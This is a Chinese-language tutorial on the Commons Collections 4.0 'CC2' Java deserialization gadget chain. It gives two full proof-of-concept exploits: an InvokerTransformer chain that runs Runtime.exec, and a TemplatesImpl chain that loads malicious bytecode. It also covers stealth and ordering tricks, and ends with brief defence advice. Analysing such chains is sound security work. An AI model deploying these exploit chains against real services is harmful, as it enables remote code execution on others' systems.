Java 反序列化:Apache Commons Collections CC2 利用链深度解析
字数 1306 2025-08-30 06:50:27

Apache Commons Collections CC2 反序列化利用链深度解析

环境准备

  • JDK版本:8u71(但实际测试中JDK版本影响不大)
  • 依赖库:commons-collections 4.0
  • Maven依赖配置
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

利用链核心分析

InvokerTransformer反射链

关键类分析

  1. TransformingComparator

    • 这是commons-collections 4.0独有的比较器类
    • 核心方法compare()会调用this.transformer.transform()
    • 关键代码:
    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
    
  2. PriorityQueue

    • 作为反序列化入口点
    • readObject()最终会调用heapify()方法
    • 调用链:readObject()heapify()siftDown()siftDownUsingComparator()comparator.compare()

利用条件

  1. 需要将comparator设置为TransformingComparator对象
  2. initialCapacity必须大于1(否则会报错)
  3. size必须≥2(通过offer()add()方法修改)

问题与解决方案

问题:在add方法中就会触发恶意代码执行(非反序列化时)

解决方案

  1. 先传入假的faketransformersChainedTransformer对象
  2. 在反序列化前通过反射将字段修改为真实的恶意transformers

完整POC代码

public class CC2InvokerTransformerPOC {
    public static void main(String[] args) throws Exception {
        // 构造恶意transformers链
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc.exe"})
        };
        
        // 创建TransformingComparator
        TransformingComparator comparator = new TransformingComparator(
            new ConstantTransformer(1));
        
        // 创建PriorityQueue并添加元素
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        
        // 通过反射修改transformer为恶意链
        Field field = TransformingComparator.class.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(comparator, new ChainedTransformer(transformers));
        
        // 序列化与反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

完整利用链

PriorityQueue.readObject()
  → heapify()
    → siftDown()
      → siftDownUsingComparator()
        → TransformingComparator.compare()
          → ChainedTransformer.transform()
            → ConstantTransformer.transform()
            → InvokerTransformer.transform() * 3
              → Runtime.getRuntime().exec()

TemplatesImpl字节码链

关键点

  1. 使用TemplatesImpl.newTransformer()加载恶意字节码
  2. 代替InvokerTransformer反射调用Runtime.getRuntime().exec()

实现方式

  1. 设置transformerInvokerTransformer对象,调用newTransformer()
  2. 通过反射修改queue数组的值

完整POC代码

public class CC2TemplatesImplPOC {
    public static void main(String[] args) throws Exception {
        // 创建TemplatesImpl对象并设置恶意字节码
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("path/to/EvilClass.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);
        
        // 设置其他必要字段
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "xx");
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates, new TransformerFactoryImpl());
        
        // 构造InvokerTransformer链
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(String.class)};
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)
        };
        
        // 创建TransformingComparator
        TransformingComparator comparator = new TransformingComparator(
            new InvokerTransformer("toString", null, null));
        
        // 创建PriorityQueue并添加元素
        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(templates);
        queue.add(templates);
        
        // 通过反射修改transformer为恶意链
        Field field = TransformingComparator.class.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(comparator, new ChainedTransformer(transformers));
        
        // 序列化与反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}

完整利用链

PriorityQueue.readObject()
  → heapify()
    → siftDown()
      → siftDownUsingComparator()
        → TransformingComparator.compare()
          → ChainedTransformer.transform()
            → ConstantTransformer.transform()
            → InvokerTransformer.transform()
              → TemplatesImpl.newTransformer()
                → 加载并执行恶意字节码

关键注意事项

  1. 防止提前触发:必须使用反射技术先设置无害的transformer,在序列化前修改为恶意transformer
  2. PriorityQueue大小:必须确保size≥2才能触发完整的利用链
  3. 两种实现方式选择
    • InvokerTransformer链:直接执行命令,简单直接
    • TemplatesImpl链:通过字节码执行,更隐蔽但需要准备恶意class文件
  4. 执行次数:TransformingComparator.compare()会调用两次transform方法,因此会触发两次恶意代码执行

防御建议

  1. 升级commons-collections到安全版本
  2. 使用Java反序列化过滤器
  3. 避免反序列化不可信数据
  4. 使用白名单机制控制可反序列化的类

参考资源

  1. ysoserial CommonsCollections2.java
  2. Java动态加载字节码(原文中提到的参考链接)
  3. Java反序列化安全指南
Apache Commons Collections CC2 反序列化利用链深度解析 环境准备 JDK版本 :8u71(但实际测试中JDK版本影响不大) 依赖库 :commons-collections 4.0 Maven依赖配置 : 利用链核心分析 InvokerTransformer反射链 关键类分析 TransformingComparator : 这是commons-collections 4.0独有的比较器类 核心方法 compare() 会调用 this.transformer.transform() 关键代码: PriorityQueue : 作为反序列化入口点 readObject() 最终会调用 heapify() 方法 调用链: readObject() → heapify() → siftDown() → siftDownUsingComparator() → comparator.compare() 利用条件 需要将 comparator 设置为 TransformingComparator 对象 initialCapacity 必须大于1(否则会报错) size 必须≥2(通过 offer() 或 add() 方法修改) 问题与解决方案 问题 :在 add 方法中就会触发恶意代码执行(非反序列化时) 解决方案 : 先传入假的 faketransformers 给 ChainedTransformer 对象 在反序列化前通过反射将字段修改为真实的恶意transformers 完整POC代码 完整利用链 TemplatesImpl字节码链 关键点 使用 TemplatesImpl.newTransformer() 加载恶意字节码 代替 InvokerTransformer 反射调用 Runtime.getRuntime().exec() 实现方式 设置 transformer 为 InvokerTransformer 对象,调用 newTransformer() 通过反射修改 queue 数组的值 完整POC代码 完整利用链 关键注意事项 防止提前触发 :必须使用反射技术先设置无害的transformer,在序列化前修改为恶意transformer PriorityQueue大小 :必须确保 size≥2 才能触发完整的利用链 两种实现方式选择 : InvokerTransformer链:直接执行命令,简单直接 TemplatesImpl链:通过字节码执行,更隐蔽但需要准备恶意class文件 执行次数 :TransformingComparator.compare()会调用两次transform方法,因此会触发两次恶意代码执行 防御建议 升级commons-collections到安全版本 使用Java反序列化过滤器 避免反序列化不可信数据 使用白名单机制控制可反序列化的类 参考资源 ysoserial CommonsCollections2.java Java动态加载字节码 (原文中提到的参考链接) Java反序列化安全指南